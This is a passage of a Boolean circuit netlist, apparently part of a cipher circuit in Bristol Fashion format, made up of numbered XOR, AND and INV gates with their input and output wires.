10653 XOR +2 1 10662 10651 10641 AND +2 1 10641 10569 10571 XOR +2 1 10655 10653 10646 AND +2 1 10662 10584 10658 XOR +2 1 10654 10658 10647 AND +2 1 10647 10570 10573 XOR +2 1 10573 10571 10577 XOR +2 1 34333 10577 10582 XOR +2 1 10801 10792 10779 AND +2 1 10779 10782 10732 XOR +2 1 10780 10732 10726 XOR +2 1 10712 10732 10686 XOR +2 1 10686 10711 10776 XOR +2 1 10779 10785 10736 XOR +2 1 10736 10708 10723 XOR +2 1 10683 10684 10730 XOR +2 1 10730 10712 10729 XOR +2 1 10717 10736 10685 XOR +2 1 10639 10645 10596 XOR +2 1 10596 10568 10583 XOR +2 1 10577 10596 10545 XOR +2 1 10568 10664 10649 XOR +2 1 10664 10649 10640 AND +2 1 10640 10641 10543 XOR +2 1 10543 10544 10590 XOR +2 1 10590 10572 10589 XOR +2 1 10643 10589 10637 XOR +2 1 10519 34310 10505 AND +2 1 10499 10505 10456 XOR +2 1 10437 10456 10405 XOR +2 1 34315 10405 10448 XOR +2 1 10456 10428 10443 XOR +2 1 10640 10646 10591 XOR +2 1 10591 10582 10638 XOR +2 1 10638 10637 10634 AND +2 1 10591 10583 10635 XOR +2 1 10780 10786 10731 XOR +2 1 10731 10723 10775 XOR +2 1 10731 10722 10778 XOR +2 1 34331 10545 10588 XOR +2 1 10634 10588 10629 XOR +2 1 34339 10685 10728 XOR +2 1 27508 27528 27482 XOR +2 1 27482 27507 27572 XOR +2 1 10657 10650 10642 AND +2 1 10639 10642 10592 XOR +2 1 10640 10592 10586 XOR +2 1 10572 10592 10546 XOR +2 1 10546 10571 10636 XOR +2 1 10643 10586 10542 XOR +2 1 34327 10542 10630 XOR +2 1 10629 10630 10628 AND +2 1 10628 10636 10627 XOR +2 1 10628 10645 10540 XOR +2 1 10627 34326 10613 AND +2 1 10628 10586 10541 XOR +2 1 10627 10659 10604 AND +2 1 10540 10642 10535 XOR +2 1 10634 10636 10633 XOR +2 1 10635 10633 10632 AND +2 1 10632 10588 10631 XOR +2 1 10631 10657 10601 AND +2 1 10632 10582 10534 XOR +2 1 10631 10650 10610 AND +2 1 10632 10644 10537 XOR +2 1 10537 10573 10533 XOR +2 1 34333 10533 10536 XOR +2 1 10535 10536 10619 XOR +2 1 10619 10662 10600 AND +2 1 10619 10651 10609 AND +2 1 34331 10533 10532 XOR +2 1 27981 27989 27979 XOR +2 1 27987 27979 27978 AND +2 1 27978 27947 27937 XOR +2 1 27937 27890 27974 XOR +2 1 27937 27939 27977 XOR +2 1 27974 28019 27959 AND +2 1 27977 28012 27958 AND +2 1 27977 28016 27967 AND +2 1 27966 27967 27904 XOR +2 1 27974 28004 27968 AND +2 1 27978 28002 27895 XOR +2 1 27967 27968 27953 XOR +2 1 27968 27959 27920 XOR +2 1 27966 27958 27922 XOR +2 1 27934 27895 27887 XOR +2 1 27887 27888 27972 XOR +2 1 27972 28005 27964 AND +2 1 27964 27953 27943 XOR +2 1 27964 27967 27919 XOR +2 1 27960 27943 27909 XOR +1 1 27909 27906 INV +2 1 27924 27887 27894 XOR +2 1 27891 27894 27976 XOR +2 1 27976 28008 27963 AND +2 1 27959 27963 27935 XOR +1 1 27935 27913 INV +2 1 27913 27957 27912 XOR +2 1 27965 27943 27903 XOR +1 1 27919 27916 INV +2 1 27972 28020 27955 AND +2 1 27955 27956 27949 XOR +2 1 27961 27949 27931 XOR +2 1 27976 28017 27954 AND +2 1 27962 27931 27932 XOR +2 1 27970 27932 27936 XOR +2 1 27971 27936 27941 XOR +2 1 27953 27941 36241 XOR +2 1 36236 36241 10194 XOR +1 1 10194 9965 INV +2 1 9965 10191 9962 XOR +2 1 36247 36241 9981 XOR +2 1 27969 27936 27905 XOR +2 1 27904 27905 36240 XOR +1 1 36240 9929 INV +2 1 9929 36234 9928 XOR +2 1 9927 9928 10232 XOR +2 1 36246 9929 9939 XOR +2 1 10232 10191 36136 XOR +2 1 36136 1340 34345 XOR +2 1 36235 36240 10202 XOR +1 1 10202 9968 INV +2 1 9968 10182 9991 XOR +2 1 9968 10201 9966 XOR +2 1 9966 9967 36160 XOR +2 1 9962 9963 36161 XOR +2 1 36161 1315 34370 XOR +2 1 10194 10176 9990 XOR +2 1 33148 9990 36146 XOR +2 1 36146 1330 34355 XOR +2 1 27932 27903 36244 XOR +2 1 36244 33141 10001 XOR +2 1 10000 10001 36140 XOR +2 1 36237 36244 10154 XOR +2 1 10165 10154 9959 XOR +2 1 36248 9959 36164 XOR +2 1 36164 1312 34373 XOR +2 1 10213 10154 9999 XOR +2 1 33143 9999 36141 XOR +2 1 36141 1335 34350 XOR +2 1 36140 1336 34349 XOR +2 1 34370 34373 26058 XOR +2 1 36241 36235 9931 XOR +2 1 9930 9931 10231 XOR +2 1 10231 10182 36137 XOR +2 1 36137 1339 34346 XOR +2 1 34346 34349 10942 XOR +2 1 36244 36248 10158 XOR +2 1 10158 32822 9932 XOR +1 1 10158 9937 INV +2 1 9937 36251 9938 XOR +2 1 9938 9939 10228 XOR +2 1 9937 36250 9934 XOR +2 1 10228 10194 36153 XOR +2 1 36153 1323 34362 XOR +2 1 27922 27949 27918 XOR +2 1 27950 27918 27921 XOR +2 1 27920 27921 28024 XOR +2 1 27913 27918 27917 XOR +2 1 27916 27917 28023 XOR +1 1 28023 36238 INV +2 1 33142 36238 10216 XOR +2 1 10216 10201 9995 XOR +2 1 36234 9995 36143 XOR +2 1 36143 1333 34352 XOR +2 1 10216 10213 9973 XOR +1 1 9973 9971 INV +2 1 9971 9972 36158 XOR +2 1 36158 1318 34367 XOR +2 1 34373 34367 26059 XOR +2 1 28023 33143 9925 XOR +2 1 9924 9925 10233 XOR +2 1 10233 10205 36134 XOR +2 1 36134 1342 34343 XOR +2 1 34343 34345 10847 XOR +2 1 10847 10942 10934 XOR +2 1 27912 27950 27908 XOR +2 1 27956 27908 27911 XOR +2 1 27931 27908 27907 XOR +2 1 27906 27907 36239 XOR +1 1 36239 9936 INV +2 1 36245 9936 9935 XOR +2 1 9934 9935 10229 XOR +2 1 10229 10202 36152 XOR +2 1 36152 1324 34361 XOR +2 1 36234 36239 10209 XOR +1 1 10209 9984 INV +2 1 9984 10191 9993 XOR +2 1 9984 36249 9982 XOR +2 1 10209 10205 9969 XOR +2 1 36245 9969 36159 XOR +2 1 36159 1317 34368 XOR +2 1 34367 34368 25980 XOR +2 1 34368 34370 26060 XOR +2 1 34373 34368 26057 XOR +2 1 26058 25980 26054 XOR +2 1 27964 27965 27915 XOR +2 1 27941 27915 28022 XOR +1 1 28022 36243 INV +2 1 33141 36243 10180 XOR +2 1 10180 10151 9988 XOR +2 1 33040 28022 9976 XOR +2 1 10180 32821 9979 XOR +2 1 10180 10176 9960 XOR +2 1 33040 9960 36163 XOR +2 1 36163 1313 34372 XOR +2 1 34370 34372 25966 XOR +2 1 36237 9988 36148 XOR +2 1 36148 1328 34357 XOR +2 1 34355 34357 27364 XOR +2 1 28022 33148 10004 XOR +2 1 10003 10004 10002 XOR +1 1 10002 36139 INV +2 1 36139 1337 34348 XOR +2 1 34346 34348 10850 XOR +1 1 9979 9977 INV +2 1 34357 34352 27457 XOR +1 1 28024 33123 INV +2 1 33034 33123 9933 XOR +2 1 9932 9933 10230 XOR +2 1 33143 33123 10217 XOR +2 1 10217 10205 9997 XOR +2 1 33123 10014 36133 XOR +2 1 36133 1343 34342 XOR +2 1 10217 10151 9974 XOR +2 1 33034 9974 36157 XOR +2 1 36157 1319 34366 XOR +2 1 10230 10216 36150 XOR +2 1 36150 1326 34359 XOR +2 1 34366 34372 25970 XOR +2 1 34342 10934 10933 XOR +2 1 10217 10158 9985 XOR +2 1 32823 9985 36149 XOR +2 1 36149 1327 34358 XOR +2 1 34342 34348 10854 XOR +2 1 34359 34361 10987 XOR +2 1 9936 33142 10012 XOR +2 1 10011 10012 36135 XOR +2 1 36135 1341 34344 XOR +2 1 34343 34344 10864 XOR +2 1 34344 34346 10944 XOR +2 1 34344 10847 10849 XOR +2 1 34349 34344 10941 XOR +2 1 10942 10864 10938 XOR +2 1 10854 10849 10930 XOR +2 1 34345 34344 10824 XOR +2 1 34348 10849 10931 XOR +2 1 10942 10931 10921 AND +2 1 10921 10849 10851 XOR +2 1 36160 1316 34369 XOR +2 1 34369 34368 25940 XOR +2 1 34367 34369 25963 XOR +2 1 34368 25963 25965 XOR +2 1 25970 25965 26046 XOR +2 1 25963 26058 26050 XOR +2 1 34366 26050 26049 XOR +2 1 26050 26054 26043 AND +2 1 26043 25966 25969 XOR +2 1 34372 25965 26047 XOR +2 1 26058 26047 26037 AND +2 1 26037 25965 25967 XOR +2 1 25969 25967 25973 XOR +2 1 34373 25973 25978 XOR +2 1 27965 27954 27914 XOR +1 1 27914 27910 INV +2 1 27910 27911 28021 XOR +1 1 28021 36242 INV +2 1 33148 36242 10187 XOR +2 1 10187 32828 9980 XOR +2 1 10187 10165 9989 XOR +2 1 28021 36236 10009 XOR +2 1 10008 10009 36138 XOR +2 1 36138 1338 34347 XOR +2 1 34347 10849 10928 XOR +2 1 34347 34349 10848 XOR +2 1 10848 10944 10929 XOR +2 1 10850 34347 10809 XOR +2 1 34342 10809 10939 XOR +2 1 10939 34342 10925 AND +2 1 10848 10854 10937 XOR +2 1 10937 10930 10922 AND +2 1 10944 10929 10920 AND +2 1 10920 10921 10823 XOR +2 1 10823 10824 10870 XOR +2 1 9980 9981 36154 XOR +2 1 36154 1322 34363 XOR +2 1 33141 9989 36147 XOR +2 1 34347 10854 10940 XOR +2 1 34343 10940 10936 XOR +2 1 10940 10936 10923 AND +2 1 10187 10182 9961 XOR +2 1 33039 9961 36162 XOR +2 1 36162 1314 34371 XOR +2 1 25966 34371 25925 XOR +2 1 34371 25970 26056 XOR +2 1 34366 25925 26055 XOR +2 1 26055 34366 26041 AND +2 1 34367 26056 26052 XOR +2 1 26056 26052 26039 AND +2 1 34371 34373 25964 XOR +2 1 25966 25964 25926 XOR +2 1 25964 26060 26045 XOR +2 1 25963 25926 26048 XOR +2 1 25964 25970 26053 XOR +2 1 26053 26046 26038 AND +2 1 25980 26053 26051 XOR +2 1 26051 26049 26042 AND +2 1 26060 26045 26036 AND +2 1 26036 26037 25939 XOR +2 1 25939 25940 25986 XOR +2 1 36147 1329 34356 XOR +2 1 34350 34356 27370 XOR +2 1 27364 27370 27453 XOR +2 1 34355 27370 27456 XOR +2 1 33039 28021 9978 XOR +2 1 26057 26048 26035 AND +2 1 26035 26041 25992 XOR +2 1 25992 25964 25979 XOR +2 1 26035 26038 25988 XOR +2 1 26036 25988 25982 XOR +2 1 26039 25982 25938 XOR +2 1 34367 25938 26026 XOR +2 1 10864 10937 10935 XOR +2 1 9977 9978 36155 XOR +2 1 36155 1321 34364 XOR +2 1 34362 34364 10990 XOR +2 1 10990 34363 10949 XOR +2 1 34358 10949 11079 XOR +2 1 11079 34358 11065 AND +2 1 34358 34364 10994 XOR +2 1 34363 10994 11080 XOR +2 1 34359 11080 11076 XOR +2 1 11080 11076 11063 AND +2 1 34371 25965 26044 XOR +2 1 26059 26044 26040 AND +2 1 26040 25964 25968 XOR +2 1 25986 25968 25985 XOR +2 1 26039 25985 26033 XOR +2 1 25968 25988 25942 XOR +2 1 25942 25967 26032 XOR +2 1 25973 25992 25941 XOR +2 1 34371 25941 25984 XOR +2 1 10935 10933 10926 AND +2 1 10920 10926 10871 XOR +2 1 26036 26042 25987 XOR +2 1 25987 25978 26034 XOR +2 1 26034 26033 26030 AND +2 1 26030 26032 26029 XOR +2 1 26030 25984 26025 XOR +2 1 26025 26026 26024 AND +2 1 26024 26041 25936 XOR +2 1 26024 25982 25937 XOR +2 1 25936 26038 25931 XOR +2 1 26024 26032 26023 XOR +2 1 26023 26055 26000 AND +2 1 26023 34366 26009 AND +2 1 26030 26024 26022 XOR +2 1 26032 26022 26021 AND +2 1 26021 26029 26019 XOR +2 1 26021 26039 25991 XOR +2 1 34367 25991 25974 XOR +2 1 25991 25985 26013 XOR +2 1 26013 26054 26002 AND +2 1 26013 26050 26011 AND +2 1 26009 26011 25990 XOR +2 1 25987 25979 26031 XOR +2 1 26031 26029 26028 AND +2 1 26028 25978 25930 XOR +2 1 26028 25984 26027 XOR +2 1 26027 26019 26018 AND +2 1 26028 26040 25933 XOR +2 1 25933 25969 25929 XOR +2 1 34371 25929 25928 XOR +2 1 26027 26053 25997 AND +2 1 34373 25929 25932 XOR +2 1 25931 25932 26015 XOR +2 1 26015 26058 25996 AND +2 1 26015 26047 26005 AND +2 1 26018 25987 25977 XOR +2 1 25977 25930 26014 XOR +2 1 26014 26059 25999 AND +2 1 26014 26044 26008 AND +2 1 25977 25979 26017 XOR +2 1 26017 26056 26007 AND +2 1 26007 26008 25993 XOR +2 1 26018 26042 25935 XOR +2 1 26008 25999 25960 XOR +2 1 26027 26046 26006 AND +2 1 26006 26007 25944 XOR +2 1 25974 25935 25927 XOR +2 1 25927 25928 26012 XOR +2 1 26012 26045 26004 AND +2 1 26004 26007 25959 XOR +1 1 25959 25956 INV +2 1 26004 25993 25983 XOR +2 1 26000 25983 25949 XOR +1 1 25949 25946 INV +2 1 26005 25983 25943 XOR +2 1 26012 26060 25995 AND +2 1 25995 25996 25989 XOR +2 1 25964 25927 25934 XOR +2 1 26004 26005 25955 XOR +2 1 25931 25934 26016 XOR +2 1 26016 26057 25994 AND +2 1 26005 25994 25954 XOR +1 1 25954 25950 INV +2 1 26016 26048 26003 AND +2 1 25999 26003 25975 XOR +1 1 25975 25953 INV +2 1 25953 25997 25952 XOR +2 1 25952 25990 25948 XOR +2 1 25996 25948 25951 XOR +2 1 25950 25951 26061 XOR +1 1 26061 33080 INV +2 1 11656 33080 11449 XOR +2 1 26017 26052 25998 AND +2 1 26006 25998 25962 XOR +2 1 25962 25989 25958 XOR +2 1 25990 25958 25961 XOR +2 1 25960 25961 26064 XOR +2 1 25953 25958 25957 XOR +2 1 25956 25957 26063 XOR +1 1 26063 33074 INV +1 1 26064 33075 INV +2 1 25974 25937 26020 XOR +2 1 26020 26051 26001 AND +2 1 26020 26049 26010 AND +2 1 26001 25989 25971 XOR +2 1 26002 25971 25972 XOR +2 1 26010 25972 25976 XOR +2 1 25972 25943 36453 XOR +2 1 33234 36453 11444 XOR +2 1 36438 36453 11628 XOR +1 1 11628 11396 INV +2 1 11396 33075 11394 XOR +2 1 11394 11395 11702 XOR +2 1 25971 25948 25947 XOR +2 1 25946 25947 36450 XOR +2 1 26011 25976 25981 XOR +2 1 25981 25955 26062 XOR +2 1 25993 25981 36452 XOR +2 1 11453 36450 11451 XOR +2 1 26009 25976 25945 XOR +2 1 25944 25945 36451 XOR +2 1 11628 36451 11400 XOR +2 1 11400 11401 11700 XOR +1 1 26062 33073 INV +2 1 11649 33073 11448 XOR +1 1 11448 11446 INV +2 1 11396 36450 11397 XOR +2 1 11397 11398 11701 XOR +2 1 34335 10800 10796 XOR +2 1 10800 10796 10783 AND +2 1 10783 10726 10682 XOR +2 1 10783 10729 10777 XOR +2 1 10778 10777 10774 AND +2 1 10774 10728 10769 XOR +2 1 10774 10776 10773 XOR +2 1 10775 10773 10772 AND +2 1 10772 10728 10771 XOR +2 1 10771 10790 10750 AND +2 1 10772 10722 10674 XOR +2 1 34335 10682 10770 XOR +2 1 10771 10797 10741 AND +2 1 10772 10784 10677 XOR +2 1 10677 10713 10673 XOR +2 1 34339 10673 10672 XOR +2 1 34341 10673 10676 XOR +2 1 10769 10770 10768 AND +2 1 10768 10785 10680 XOR +2 1 10680 10782 10675 XOR +2 1 10768 10776 10767 XOR +2 1 10774 10768 10766 XOR +2 1 10675 10676 10759 XOR +2 1 10768 10726 10681 XOR +2 1 10767 10799 10744 AND +2 1 10759 10802 10740 AND +2 1 10759 10791 10749 AND +2 1 10776 10766 10765 AND +2 1 10765 10773 10763 XOR +2 1 10771 10763 10762 AND +2 1 10762 10731 10721 XOR +2 1 10721 10674 10758 XOR +2 1 10758 10788 10752 AND +2 1 10758 10803 10743 AND +2 1 10721 10723 10761 XOR +2 1 10761 10800 10751 AND +2 1 10750 10751 10688 XOR +2 1 10751 10752 10737 XOR +2 1 10762 10786 10679 XOR +2 1 10752 10743 10704 XOR +2 1 10765 10783 10735 XOR +2 1 10735 10729 10757 XOR +2 1 10757 10794 10755 AND +2 1 34335 10735 10718 XOR +2 1 10718 10681 10764 XOR +2 1 10764 10793 10754 AND +2 1 10761 10796 10742 AND +2 1 10764 10795 10745 AND +2 1 10718 10679 10671 XOR +2 1 10671 10672 10756 XOR +2 1 10756 10789 10748 AND +2 1 10748 10751 10703 XOR +2 1 10748 10737 10727 XOR +2 1 10744 10727 10693 XOR +1 1 10693 10690 INV +2 1 10748 10749 10699 XOR +1 1 10703 10700 INV +2 1 10749 10727 10687 XOR +2 1 10708 10671 10678 XOR +2 1 10675 10678 10760 XOR +2 1 10760 10792 10747 AND +2 1 10743 10747 10719 XOR +1 1 10719 10697 INV +2 1 10760 10801 10738 AND +2 1 10749 10738 10698 XOR +1 1 10698 10694 INV +2 1 10697 10741 10696 XOR +2 1 10767 34334 10753 AND +2 1 10753 10755 10734 XOR +2 1 10696 10734 10692 XOR +2 1 10740 10692 10695 XOR +2 1 10694 10695 10805 XOR +1 1 10805 32846 INV +2 1 33076 32846 11637 XOR +2 1 11639 11637 11486 XOR +2 1 10757 10798 10746 AND +2 1 10756 10804 10739 AND +2 1 10739 10740 10733 XOR +2 1 10750 10742 10706 XOR +2 1 10706 10733 10702 XOR +2 1 10734 10702 10705 XOR +2 1 10704 10705 10808 XOR +2 1 10697 10702 10701 XOR +2 1 10700 10701 10807 XOR +1 1 10807 32840 INV +2 1 33070 32840 11655 XOR +2 1 11629 32840 11387 XOR +1 1 10808 32841 INV +2 1 33071 32841 11659 XOR +2 1 11387 11388 11705 XOR +2 1 10745 10733 10715 XOR +2 1 10746 10715 10716 XOR +2 1 10716 10687 36434 XOR +2 1 36430 36434 11621 XOR +2 1 11621 33070 11499 XOR +2 1 11621 33059 11511 XOR +2 1 11621 11490 11489 XOR +2 1 11621 36428 11496 XOR +2 1 10715 10692 10691 XOR +2 1 10690 10691 36431 XOR +2 1 36427 36431 11652 XOR +2 1 11652 32840 11535 XOR +2 1 10634 10628 10626 XOR +2 1 10636 10626 10625 AND +2 1 10625 10633 10623 XOR +2 1 10631 10623 10622 AND +2 1 10622 10591 10581 XOR +2 1 10581 10583 10621 XOR +2 1 10622 10646 10539 XOR +2 1 10621 10660 10611 AND +2 1 10610 10611 10548 XOR +2 1 10621 10656 10602 AND +2 1 10610 10602 10566 XOR +2 1 10581 10534 10618 XOR +2 1 10618 10663 10603 AND +2 1 10618 10648 10612 AND +2 1 10611 10612 10597 XOR +2 1 10612 10603 10564 XOR +2 1 10524 10509 10500 AND +2 1 10500 10501 10403 XOR +2 1 10403 10404 10450 XOR +2 1 10450 10432 10449 XOR +2 1 10503 10449 10497 XOR +2 1 10500 10452 10446 XOR +2 1 10500 10506 10451 XOR +2 1 10451 10443 10495 XOR +2 1 10451 10442 10498 XOR +2 1 10498 10497 10494 AND +2 1 10494 10496 10493 XOR +2 1 10495 10493 10492 AND +2 1 10492 10504 10397 XOR +2 1 10492 10442 10394 XOR +2 1 10397 10433 10393 XOR +2 1 34315 10393 10392 XOR +2 1 34317 10393 10396 XOR +2 1 10492 10448 10491 XOR +2 1 10491 10510 10470 AND +2 1 10491 10517 10461 AND +2 1 10494 10448 10489 XOR +2 1 10503 10446 10402 XOR +2 1 34311 10402 10490 XOR +2 1 10489 10490 10488 AND +2 1 10488 10446 10401 XOR +2 1 10494 10488 10486 XOR +2 1 10488 10496 10487 XOR +2 1 10488 10505 10400 XOR +2 1 10496 10486 10485 AND +2 1 10485 10493 10483 XOR +2 1 10485 10503 10455 XOR +2 1 10455 10449 10477 XOR +2 1 10477 10518 10466 AND +2 1 10400 10502 10395 XOR +2 1 10395 10396 10479 XOR +2 1 10479 10511 10469 AND +2 1 10479 10522 10460 AND +2 1 34311 10455 10438 XOR +2 1 10438 10401 10484 XOR +2 1 10484 10513 10474 AND +2 1 10487 10519 10464 AND +2 1 10484 10515 10465 AND +2 1 10477 10514 10475 AND +2 1 10491 10483 10482 AND +2 1 10482 10451 10441 XOR +2 1 10441 10394 10478 XOR +2 1 10441 10443 10481 XOR +2 1 10478 10508 10472 AND +2 1 10481 10516 10462 AND +2 1 10481 10520 10471 AND +2 1 10470 10471 10408 XOR +2 1 10482 10506 10399 XOR +2 1 10438 10399 10391 XOR +2 1 10391 10392 10476 XOR +2 1 10476 10524 10459 AND +2 1 10478 10523 10463 AND +2 1 10472 10463 10424 XOR +2 1 10471 10472 10457 XOR +2 1 10470 10462 10426 XOR +2 1 10459 10460 10453 XOR +2 1 10426 10453 10422 XOR +2 1 10476 10509 10468 AND +2 1 10468 10471 10423 XOR +2 1 10468 10469 10419 XOR +1 1 10423 10420 INV +2 1 10465 10453 10435 XOR +2 1 10466 10435 10436 XOR +2 1 10474 10436 10440 XOR +2 1 10468 10457 10447 XOR +2 1 10464 10447 10413 XOR +1 1 10413 10410 INV +2 1 10428 10391 10398 XOR +2 1 10395 10398 10480 XOR +2 1 10480 10512 10467 AND +2 1 10480 10521 10458 AND +2 1 10469 10458 10418 XOR +1 1 10418 10414 INV +2 1 10463 10467 10439 XOR +1 1 10439 10417 INV +2 1 10417 10422 10421 XOR +2 1 10420 10421 10527 XOR +2 1 10417 10461 10416 XOR +1 1 10527 32832 INV +2 1 32832 32853 11417 XOR +2 1 32832 11420 11599 XOR +2 1 11416 11417 11693 XOR +2 1 10487 34310 10473 AND +2 1 10473 10440 10409 XOR +2 1 10473 10475 10454 XOR +2 1 10454 10422 10425 XOR +2 1 10416 10454 10412 XOR +2 1 10435 10412 10411 XOR +2 1 10410 10411 36398 XOR +2 1 36398 36413 11667 XOR +1 1 11667 11529 INV +2 1 11679 11529 11526 XOR +2 1 10408 10409 36399 XOR +2 1 10460 10412 10415 XOR +2 1 10414 10415 10525 XOR +1 1 10525 32838 INV +2 1 11669 32838 11475 XOR +2 1 10475 10440 10445 XOR +2 1 10445 10419 10526 XOR +2 1 10457 10445 36400 XOR +2 1 11672 36400 11494 XOR +1 1 11494 11492 INV +1 1 10526 32831 INV +2 1 11715 32831 11455 XOR +2 1 32832 33078 11687 XOR +2 1 10424 10425 10528 XOR +1 1 10528 32833 INV +2 1 11227 32833 11413 XOR +2 1 32833 33079 11688 XOR +2 1 10469 10447 10407 XOR +2 1 10436 10407 36401 XOR +2 1 36401 36417 11632 XOR +1 1 11632 11528 INV +2 1 11528 33078 11557 XOR +2 1 11632 36399 11373 XOR +2 1 33033 28023 9983 XOR +2 1 9982 9983 36151 XOR +2 1 36151 1325 34360 XOR +2 1 34360 10987 10989 XOR +2 1 34361 34360 10964 XOR +2 1 10994 10989 11070 XOR +2 1 34364 10989 11071 XOR +2 1 34360 34362 11084 XOR +2 1 34359 34360 11004 XOR +2 1 34363 10989 11068 XOR +2 1 10934 10938 10927 AND +2 1 10927 10850 10853 XOR +2 1 10853 10851 10857 XOR +2 1 34349 10857 10862 XOR +2 1 10871 10862 10918 XOR +2 1 10850 10848 10810 XOR +2 1 10847 10810 10932 XOR +2 1 10941 10932 10919 AND +2 1 10919 10922 10872 XOR +2 1 10920 10872 10866 XOR +2 1 10923 10866 10822 XOR +2 1 34343 10822 10910 XOR +2 1 10919 10925 10876 XOR +2 1 10876 10848 10863 XOR +2 1 10871 10863 10915 XOR +2 1 10857 10876 10825 XOR +2 1 34347 10825 10868 XOR +1 1 10154 33235 INV +2 1 33235 36252 9975 XOR +2 1 33235 33142 9998 XOR +2 1 33235 36235 9994 XOR +2 1 9975 9976 36156 XOR +2 1 36156 1320 34365 XOR +2 1 34365 34359 11083 XOR +2 1 11083 11068 11064 AND +2 1 34362 34365 11082 XOR +2 1 34363 34365 10988 XOR +2 1 10988 10994 11077 XOR +2 1 11077 11070 11062 AND +2 1 11004 11077 11075 XOR +2 1 11064 10988 10992 XOR +2 1 10987 11082 11074 XOR +2 1 34358 11074 11073 XOR +2 1 11075 11073 11066 AND +2 1 11082 11004 11078 XOR +2 1 11074 11078 11067 AND +2 1 11067 10990 10993 XOR +2 1 10990 10988 10950 XOR +2 1 10987 10950 11072 XOR +2 1 10988 11084 11069 XOR +2 1 11084 11069 11060 AND +2 1 11060 11066 11011 XOR +2 1 34365 34360 11081 XOR +2 1 11081 11072 11059 AND +2 1 11059 11065 11016 XOR +2 1 11016 10988 11003 XOR +2 1 11059 11062 11012 XOR +2 1 11060 11012 11006 XOR +2 1 11063 11006 10962 XOR +2 1 34359 10962 11050 XOR +2 1 11011 11003 11055 XOR +2 1 10992 11012 10966 XOR +2 1 9997 9998 9996 XOR +1 1 9996 36142 INV +2 1 36142 1334 34351 XOR +2 1 34351 27456 27452 XOR +2 1 27456 27452 27439 AND +2 1 34351 34352 27380 XOR +2 1 27380 27453 27451 XOR +2 1 11082 11071 11061 AND +2 1 11061 10989 10991 XOR +2 1 11060 11061 10963 XOR +2 1 10966 10991 11056 XOR +2 1 10963 10964 11010 XOR +2 1 11010 10992 11009 XOR +2 1 11063 11009 11057 XOR +2 1 10993 10991 10997 XOR +2 1 10997 11016 10965 XOR +2 1 34363 10965 11008 XOR +2 1 34365 10997 11002 XOR +2 1 11011 11002 11058 XOR +2 1 11058 11057 11054 AND +2 1 11054 11056 11053 XOR +2 1 11055 11053 11052 AND +2 1 11054 11008 11049 XOR +2 1 11049 11050 11048 AND +2 1 11048 11056 11047 XOR +2 1 11047 11079 11024 AND +2 1 11054 11048 11046 XOR +2 1 11056 11046 11045 AND +2 1 11047 34358 11033 AND +2 1 11045 11053 11043 XOR +2 1 11052 11002 10954 XOR +2 1 11048 11006 10961 XOR +2 1 11052 11008 11051 XOR +2 1 11051 11077 11021 AND +2 1 11048 11065 10960 XOR +2 1 10960 11062 10955 XOR +2 1 11052 11064 10957 XOR +2 1 11051 11070 11030 AND +2 1 11051 11043 11042 AND +2 1 11042 11011 11001 XOR +2 1 11001 10954 11038 XOR +2 1 11038 11068 11032 AND +2 1 11042 11066 10959 XOR +2 1 11001 11003 11041 XOR +2 1 11041 11080 11031 AND +2 1 11030 11031 10968 XOR +2 1 11031 11032 11017 XOR +2 1 11038 11083 11023 AND +2 1 11032 11023 10984 XOR +2 1 10957 10993 10953 XOR +2 1 34365 10953 10956 XOR +2 1 10955 10956 11039 XOR +2 1 11039 11082 11020 AND +2 1 11039 11071 11029 AND +2 1 34363 10953 10952 XOR +2 1 11045 11063 11015 XOR +2 1 34359 11015 10998 XOR +2 1 10998 10961 11044 XOR +2 1 11044 11073 11034 AND +2 1 11044 11075 11025 AND +2 1 10998 10959 10951 XOR +2 1 10988 10951 10958 XOR +2 1 10955 10958 11040 XOR +2 1 11040 11081 11018 AND +2 1 11040 11072 11027 AND +2 1 11029 11018 10978 XOR +1 1 10978 10974 INV +2 1 10951 10952 11036 XOR +2 1 11036 11084 11019 AND +2 1 11036 11069 11028 AND +2 1 11028 11029 10979 XOR +2 1 11028 11031 10983 XOR +1 1 10983 10980 INV +2 1 11028 11017 11007 XOR +2 1 11029 11007 10967 XOR +2 1 11024 11007 10973 XOR +1 1 10973 10970 INV +2 1 11023 11027 10999 XOR +2 1 11015 11009 11037 XOR +2 1 11037 11074 11035 AND +2 1 11037 11078 11026 AND +2 1 11033 11035 11014 XOR +2 1 11019 11020 11013 XOR +2 1 11025 11013 10995 XOR +2 1 11026 10995 10996 XOR +2 1 10996 10967 36466 XOR +2 1 36466 36470 11618 XOR +1 1 11618 11714 INV +2 1 11714 36455 11578 XOR +2 1 11034 10996 11000 XOR +2 1 11033 11000 10969 XOR +2 1 10968 10969 36464 XOR +2 1 11035 11000 11005 XOR +2 1 11017 11005 36465 XOR +2 1 36465 36469 11635 XOR +2 1 36465 36464 11425 XOR +2 1 11644 11635 11615 XOR +2 1 11005 10979 11086 XOR +1 1 11086 32847 INV +2 1 32847 32856 11641 XOR +2 1 11653 11641 11611 XOR +1 1 10999 10977 INV +2 1 10977 11021 10976 XOR +2 1 10976 11014 10972 XOR +2 1 11020 10972 10975 XOR +2 1 10974 10975 11085 XOR +2 1 10995 10972 10971 XOR +2 1 10970 10971 36463 XOR +2 1 36463 36467 11636 XOR +2 1 11636 32829 11426 XOR +1 1 11085 32854 INV +2 1 32847 32854 11574 XOR +2 1 11041 11076 11022 AND +2 1 11030 11022 10986 XOR +2 1 10986 11013 10982 XOR +2 1 11014 10982 10985 XOR +2 1 10984 10985 11088 XOR +1 1 11088 32849 INV +2 1 32849 32858 11668 XOR +2 1 11668 11630 11428 XOR +2 1 10977 10982 10981 XOR +2 1 10980 10981 11087 XOR +1 1 11087 32848 INV +2 1 11714 32848 11581 XOR +2 1 11653 36465 11587 XOR +2 1 32848 32857 11648 XOR +2 1 11714 32856 11609 XOR +2 1 33235 36236 9992 XOR +2 1 9991 9992 36145 XOR +2 1 36145 1331 34354 XOR +2 1 34354 34356 27366 XOR +2 1 27366 27364 27326 XOR +2 1 34352 34354 27460 XOR +2 1 27364 27460 27445 XOR +2 1 34354 34357 27458 XOR +2 1 27458 27380 27454 XOR +2 1 27366 34355 27325 XOR +2 1 34350 27325 27455 XOR +2 1 27455 34350 27441 AND +2 1 27460 27445 27436 AND +2 1 9993 9994 36144 XOR +2 1 36144 1332 34353 XOR +2 1 34353 34352 27340 XOR +2 1 34351 34353 27363 XOR +2 1 27363 27326 27448 XOR +2 1 27457 27448 27435 AND +2 1 27435 27441 27392 XOR +2 1 27392 27364 27379 XOR +2 1 34352 27363 27365 XOR +2 1 27370 27365 27446 XOR +2 1 27453 27446 27438 AND +2 1 27435 27438 27388 XOR +2 1 27436 27388 27382 XOR +2 1 34355 27365 27444 XOR +2 1 